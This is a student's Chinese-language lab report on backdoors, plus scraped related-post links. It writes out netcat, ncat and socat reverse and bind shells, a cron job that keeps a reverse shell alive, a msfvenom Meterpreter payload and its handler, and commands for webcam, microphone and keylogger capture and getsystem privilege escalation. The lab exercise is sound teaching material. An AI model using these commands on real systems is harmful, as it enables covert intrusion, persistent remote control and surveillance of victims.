Exp2 后门原理与实践

20164321 王君陶

一、实验内容

基础问题回答:

1.例举你能想到的一个后门进入到你系统中的可能方式?

答:通过漏洞,点击陌生链接,或者浏览不良网页挂马。

2.例举你知道的后门如何启动起来(win及linux)的方式?

答:

win : 需要先关闭相应杀毒软件,右键管理员运行,或者通过任务计划程序启动。

  linux : 通过crontab指令,计划任务启动。

3.Meterpreter有哪些给你映像深刻的功能?

答:照相功能,当时摄像头闪光灯一亮,屏幕上就出现了我呆滞的照片,被这种技术深深震撼,决定以后一定要做好摄像头隐私保护,用不透明的东西贴着,否则一举一动可能被黑客监视!

4.如何发现自己有系统有没有被安装后门?

答:可以使用各种杀毒软件,我在做实验的时候,我的腾讯电脑管家就拦截了backdoor.exe,确实让人很放心 ,其实windows自带的windows defender就很强大了,装不装其他杀毒软件都行。定期进行木马查杀,并且打开杀毒软件的防护功能,就能避免被安装后门

二、实验内容

1.使用netcat获取主机操作Shell,cron启动

1.1Windows获得Linux Shell

(1)命令 ipconfig 查看win7的IP地址,之后,win7本地用命令 ncat.exe -l -p 4321 监听4321端口,等待其它机器连接该端口

(2)Kali用命令 nc 192.168.1.156 4321 -e /bin/sh 反弹连接win10,提供自己的shell

(3)windows获得linux的shell,可执行linux相关命令

1.2Linux获得Windows Shell

(1)与上面步骤相似,linux下 ifconfig 查询IP地址,nc设置监听本地4321端口 nc -l -p 4321

(2)win7反弹连接linux,提供自己的shell(cmd) ncat.exe -e cmd.exe 192.168.253.128 4321

(3)Linux下看到Windows的命令提示,获得win7的shell,可任意执行指令

1.3nc传输数据

(1)win10监听本地4321端口 ncat.exe -l 4321 ,kali连接win10的4321端口 nc 192.168.1.156 4321

(2)然后就可以让两台机器开始聊天了,kali发一句,win10接收,然后回一句(实现了数据的传输,感觉就是一个低配版的QQ,很神奇啊)

1.4nc定时启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

(1)win7监听本地4321端口 ncat.exe -l -p 4321

(2)crontab指令增加一条定时任务 crontab -e 。因为是第一次编辑,所以会提示选择编辑器。选择“3”,利用最基本的vim编辑器进行编辑( i 进入编辑模式),在最后一行添加任务 05* * * * /bin/netcat 192.168.1.156 4321 -e /bin/sh 。(编辑完成后, esc键 退出编辑模式, :wq 保存并退出)

说明:为何是05 ? => 最后一行的意思是在每个小时的第05分钟执行后面的那条指令。【如图,操作时是14:01,那就设置4分钟后(14:05)执行吧】

(3) crontab -l 可查看配置的任务

(4)当时间到了第05分时,win获得linux的shell,可执行相关命令

2.使用socat获取主机操作Shell, 任务计划启动

2.1在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称4321,之后,新建触发器,选择开始任务时间为:工作站锁定时。

2.2新建操作,选择启动的程序为socat.exe,参数项填为 tcp-listen:4321 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上

2.3创建完成之后,按 Win+L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

但是弹出一个warning的界面,同学也有类似的问题,询问詹平云龙同学之后,他说不要关掉继续实验。

2.4在kali终端输入指令 socat - tcp:192.168.1.156:4321 (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win7主机的4321端口),此时可发现已经成功获得了一个windows shell

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

3.1生成后门程序,指令为(注:这里设置的主机IP、端口为kali[攻击机]的IP、端口)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 -f exe > 4321_backdoor.exe

(这个截图出现的第一个问题是粗心大意少输一个_导致的…)

3.2通过nc指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令

先进行:win10上运行ncat命令,等待接收4321_backdoor.exe

ncat.exe -lv 4321 >4321_backdoor.exe

后进行:kali上运行ncat命令,传输4321_backdoor.exe到win10主机(IP:192.168.1.156)上

ncat -nv 192.168.1.156 4321 < 4321_backdoor.exe

然后….

3.3效果

3.4在kali上使用 msfconsole 指令进入msf控制台

后来发现每次进来图案都不一样,应该是个小彩蛋吧

3.5进行如下配置

复制代码

use exploit/multi/handler              //使用handler模块

set payload windows/meterpreter/reverse_tcp   //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell

show options                      //查看利用模块的设置信息

set LHOST 192.168.253.128              //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP

set LPORT 4321                    //设置本主机的端口

show options                     //再次查看一下options,确保设置正确

exploit                        //运行模块

复制代码

(1)设置模块、载荷

(2)查看设置信息(注:Current setting列表示当前设置,如设置不符合,需修改;Required列若是yes,则表示对应行的参数需要设置)

EXITFUNC参数对应的行无需修改,网上解释为:EXITFUNC有4个不同的值:none,seh,thread和process。通常它被设置为线程或进程,它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError,实际上是无操作,线程然后将继续执行,允许您简单地将多个有效负载一起串行运行。在某些情况下,EXITFUNC是有用的,在利用一个exploit之后,我们需要一个干净地退出。

PROCESS方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。

(3)设置主机IP、端口,并再次用 show options 查看是否设置正确

发现正确

(4) 启用模块

好像出了点问题,半天运行不出来,我就强行停止了

后来发现是要在主机上运行backdoor.exe才可以继续

(5)在win10上运行后门程序(这里,也许要提前关闭一下杀毒软件和防火墙,否则,可能运行时会出问题)

(6)查看kali,发现获得了win10主机的连接,并且得到了远程控制的shell,可执行相关命令

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容

(1)获取目标主机音频、截屏内容

record_mic    //音频

screenshot    //截屏

(2)发现win7中有摄像设备,可以获取一下摄像头所拍摄相片(发现闪光灯亮了下,然后就拍照完成了,真的神奇啊,因为我以为这个intergrated webcam 不是摄像头,后来想了下,cam就是摄像机的缩写啊)

(3)获取击键记录

kali上输入指令 keyscan_start ,开始记录win10上任何键盘记录,随意在win10上输入一些字母,之后kali上输入指令 keyscan_dump ,就可下载键盘记录

我输入了:真的假的啊

真的!

4.2提权

(1)先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权,提权成功,管理员权限为所欲为!

三、实验感想与体会

这次实验之后对于计划任务有了很大的认识,赶紧看了一眼计划任务里面有没有奇怪的任务,发现了有很多系统软件的更新程序就是计划任务的,比如说:

这个就是英伟达experience的自动更新程序,每天12点25自动启动。

本次实验简单地了解了后门原理,对后门的形成、植入、利用攻击等一系列过程有了初步的认识,也被Meterpreter的强大功能所震撼,以后要时刻做好隐私保护,及时更新漏洞,更新杀毒软件,定期杀毒,防止自己的电脑也被挂马控制。

Exp2 后门原理与实践 20164321 王君陶的更多相关文章

  1. Exp3 免杀原理与实践 20164321 王君陶

    Exp3 免杀原理与实践 20164321 王君陶 1实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分), ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  4. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  7. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  8. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

随机推荐

  1. js无刷新提交表单

    $("#form1").attr("target", "frameFile"); $("#form1").submit( ...

  2. [Jmeter]通过批处理调用java,java从CSV动态读取登录的用户名和密码,并将其作为参数组合成字符串,写入外部.bat文件,然后通过Java执行这个外部批处理文件

    问题1:怎样通过批处理调用java代码? 问题2:怎样通过java从CSV文件获取到用户名和密码存入变量? 问题3:怎样将获取到的用户名和密码组合成字符串,写入外部批处理文件? 问题4:怎样在批处理文 ...

  3. Zookeeper 系列(三)Zookeeper API

    Zookeeper 系列(三)Zookeeper API 本节首先介绍 Zookeeper 的 Shell 命令,再对 Java 操作 Zookeeper 的三种方式进行讲解,本节先介绍 Zookee ...

  4. 客户端、服务器端中JSON字符串与对象的转换

    客户端: 字符串转为对象:$.parseJSON(json); 对象转为字符串:JSON.stringify(_pasteDataItem) 服务器端(c#): 对象: [DataContract(N ...

  5. 如何配置JDK?

    有很多人,java都下载好,却因不会配置JDK,而无法编程.今天巩固就来教大家配置JDK.​ 第一步:将下载好的java放在D盘(最好不要占用C盘).​​​ 第二步:右击我的电脑,选择"属性 ...

  6. Unit Testing of Spring MVC Controllers1

    我们的pom.xml文件相关的部分看起来如下: <dependency>    <groupId>com.fasterxml.jackson.core</groupId& ...

  7. PS各个工具的字母快捷键和英文全名

    选框-Marquee(M) 移动-move(V) 套索-Lasso(L) 魔棒-Wand(W) 喷枪-injection lance (J) 画笔-Brush (B) 铅笔-pencil(N) 橡皮图 ...

  8. 1) Apache Maven 's README.txt

    Apache Maven What is it? ----------- Maven is a software project management and comprehension tool. ...

  9. 通过wsdl生成client 的几种方式

    wsimport 位置 %JAVA_HOME%/bin/wsimport.exe 帮助 wsimport -help Usage: wsimport [options] <WSDL_URI> ...

  10. Spring中property-placeholder的使用与解析

    Spring中property-placeholder的使用与解析 我们在基于spring开发应用的时候,一般都会将数据库的配置放置在properties文件中. 代码分析的时候,涉及的知识点概要: ...